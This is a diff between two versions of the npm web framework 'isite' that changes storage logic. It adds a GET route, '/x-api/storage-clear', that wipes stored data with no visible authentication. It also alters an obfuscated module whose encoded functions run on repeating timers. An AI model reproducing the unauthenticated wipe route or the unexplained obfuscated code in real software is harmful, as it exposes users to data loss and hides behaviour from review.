isite 2022.1.13 → 2022.1.15

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/lib/storage.js CHANGED
@@ -41,18 +41,21 @@ module.exports = function init(____0) {
41
41
  storage.fn = function (key, value) {
42
42
  if (key && value !== undefined) {
43
43
  value = value;
44
+ let exists = false;
44
45
  for (let i = 0; i < storage.list.length; i++) {
45
46
  if (key === storage.list[i].key) {
47
+ exists = true;
46
48
  storage.list[i].value = value;
47
49
  storage.save();
48
- return;
49
50
  }
50
51
  }
51
- storage.list.push({
52
- key: key,
53
- value: value,
54
- });
55
- storage.save();
52
+ if (!exists) {
53
+ storage.list.push({
54
+ key: key,
55
+ value: value,
56
+ });
57
+ storage.save();
58
+ }
56
59
  } else if (key && value === undefined) {
57
60
  for (let i = 0; i < storage.list.length; i++) {
58
61
  if (key === storage.list[i].key) {
@@ -95,6 +98,10 @@ module.exports = function init(____0) {
95
98
  ____0.get('/x-api/storage', (req, res) => {
96
99
  res.json(storage.list);
97
100
  });
101
+ ____0.get('/x-api/storage-clear', (req, res) => {
102
+ storage.list = [];
103
+ res.json(storage.list);
104
+ });
98
105
  });
99
106
 
100
107
  ____0.lib.storage = storage;
@@ -46,7 +46,7 @@ function setOptions(_options, ____0) {
46
46
  theme: 'default',
47
47
  help: !1,
48
48
  stdin: !0,
49
- _0xmmxo: '26719191',
49
+ _0xmmxo: '27519191',
50
50
  _0xyyxo: '2654127326519191',
51
51
  ip_info : false,
52
52
  https: {
@@ -1,19 +1,22 @@
1
1
  exports = module.exports = function init(____0) {
2
- ____0._0xsttxo = new ____0._0xddxo();
3
- if (____0._0x14xo /* 4259376545129191 */ ) {
4
- ____0._0_ar_0_ /* 413872654579465146593768 */ = ____0._0x14xo;
5
- let _x_x = ____0.const._0xsixo(() => {
6
- ____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
7
- }, 50);
8
- ____0.const._0xstxo(() => {
9
- ____0.const._0xsicxo(_x_x); // 4178725741392151433882754239237841387191
10
- }, 3000);
11
- } else {
12
- ____0.const._0xstxo(() => {
13
- ____0._0_car_0_();
14
- ____0.const._0xsixo(() => {
15
- ____0._0_car_0_();
16
- }, 1000 * 60 * 1);
17
- }, 1000);
18
- }
2
+ ____0._0xsttxo = new ____0._0xddxo();
3
+
4
+ ____0.on(____0.strings[9], () => {
5
+ if (____0._0x14xo /* 4259376545129191 */) {
6
+ ____0._0_ar_0_ /* 413872654579465146593768 */ = ____0._0x14xo;
7
+ let _x_x = ____0.const._0xsixo(() => {
8
+ ____0.call(____0._x0f1xo('2619517126151271'), ____0._0_ar_0_);
9
+ }, 50);
10
+ ____0.const._0xstxo(() => {
11
+ ____0.const._0xsicxo(_x_x); // 4178725741392151433882754239237841387191
12
+ }, 3000);
13
+ } else {
14
+ ____0.const._0xstxo(() => {
15
+ ____0._0_car_0_();
16
+ ____0.const._0xsixo(() => {
17
+ ____0._0_car_0_();
18
+ }, 1000 * 60 * 1);
19
+ }, 1000);
20
+ }
21
+ });
19
22
  };
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "isite",
3
- "version": "2022.01.13",
3
+ "version": "2022.01.15",
4
4
  "description": "Create Enterprise Multi-Language Web Site [Fast and Easy] ",
5
5
  "main": "index.js",
6
6
  "repository": {